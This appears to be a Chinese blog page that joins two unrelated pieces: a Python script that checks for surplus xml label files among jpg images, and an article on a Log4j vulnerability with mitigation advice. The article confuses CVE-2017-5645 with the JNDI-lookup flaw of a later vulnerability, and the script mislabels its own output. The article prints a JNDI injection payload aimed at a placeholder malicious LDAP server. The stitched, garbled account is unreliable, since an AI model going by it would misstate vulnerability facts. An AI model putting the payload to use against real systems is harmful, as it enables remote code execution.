筛查多余的xml文件,不删除。

"""
使用说明:
    1、在两个path路径下填入地址,!!xml、jpg是两个独立的文件夹!!
    2、筛查出多余的xml并提示少xml,不删除。 用作剔除之后的检查工作
"""
import os
path1 = r'D:\Desktop\xin_all1239\jpg'  # 图片的地址
path2 = r'D:\Desktop\xin_all1239\xml'  # 对应标签的地址

def file_name(image_dir,xml_dir):
    jpg_list = []
    xml_list = []
    
    for root, dirs, files in os.walk(image_dir):  # 遍历Iamges 文件夹
        for file in files:
            jpg_list.append(os.path.splitext(file)[0])  # 将文件的名字剔除.jpg后添加在jpg_list[]的列表中
    print(jpg_list) #显示全部Images文件名,在一个列表下
    
    for root, dirs, files in os.walk(xml_dir):
        for file in files:
            xml_list.append(os.path.splitext(file)[0])
    print(xml_list) #显示全部label文件名,在一个列表下     
       
    print(len(jpg_list) )   # 显示有多少张图片 
    print("jpg" )
    
    print(len(xml_list) )  # 显示有多少张标签 
    print("xml" )

    #筛查出多余的xml并提示,不删除
    diff = set(xml_list).difference(set(jpg_list))  # 差集,在a中但不在b中的元素
    for name in diff:
        print("no xml", name + ".xml")

if __name__ == '__main__':

    file_name(path1,path2)

### 关于Log4j2 CVE-2017-5645漏洞详情 Apache Log4j 是一款功能强大的 Java 日志框架,被广泛应用于企业级应用开发中。然而,在其早期版本中存在反序列化漏洞(CVE-2017-5645),该漏洞允许攻击者通过精心构造的数据包触发远程代码执行 (RCE),从而完全控制受影响的应用程序。 此漏洞的根本原因在于 Log4j 的某些组件未能正确验证输入数据的安全性。当应用程序使用了安全的配置或插件时,恶意用户可以利用这些缺陷注入可执行的有效载荷[^1]。 #### 影响范围 受到影响的主要为 Apache Log4j 版本 2.x 中的部分实现方式。具体来说,如果项目依赖了 `JMSAppender` 或其他涉及 JNDI 查询的功能模块,则可能暴露于此漏洞之下。值得注意的是,并非所有基于 Log4j 构建的服务都会直接受到威胁;只有那些启用了特定危险选项并连接至外部资源的情况下才会成为潜在目标。 #### 漏洞原理分析 在实际操作过程中,攻击者可以通过向服务器发送特制字符串来诱导后者解析含有恶意指令的内容。由于 Log4j 默认支持动态查找机制——即借助 `${}` 占位符语法完成变量替换工作——因此一旦遇到未加防护措施的情况便会轻易泄露系统权限给第三方人员掌控。 以下是简化版模拟场景下如何形成危害的一个例子: ```java // 假设日志记录器实例已创建好 logger.info("${jndi:ldap://malicious-server/exploit}"); ``` 上述代码片段展示了如何通过嵌套表达式调用 LDAP 接口获取额外信息的过程。假如服务端没有实施严格的白名单过滤策略或者关闭必要的网络请求通道的话,那么就极有可能遭受此类入侵行为的影响。 #### 修复建议 为了防止进一步滥用该类问题的发生,官方推荐采取如下几种方法之一来进行补救: 1. **升级软件版本**: 将当前使用的 log4j 库更新至最新稳定发行版(>=2.8.2),因为后续迭代已经针对这一系列安全隐患进行了全面改进优化。 2. **禁用相关特性**: 如果无法立即迁移至新版本,则考虑临时移除或停用任何涉及到 JNDI 查找逻辑的相关设置项(`JMSAppender`, etc.)以减少暴露面. 3. **强化网络安全边界**: 配合防火墙规则限制明来源地址访问内部敏感接口; 同时加强对传入流量内容的实时监控审计力度以便及时发现异常活动迹象. 4. **自定义模式匹配规则**: 开发团队还可以根据业务需求定制专属正则表达式用于筛查可疑字符组合出现频率较高的地方进而提前预警可能出现的风险状况. ```xml <!-- Example configuration snippet --> <Configuration status="WARN"> <Appenders> <!-- Remove or disable any appenders that use JNDI lookups --> </Appenders> </Configuration> ``` 以上 XML 文件摘录显示了一个简单的配置更改示例,其中删除或禁用了所有采用 JNDI 查找的操作部分。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值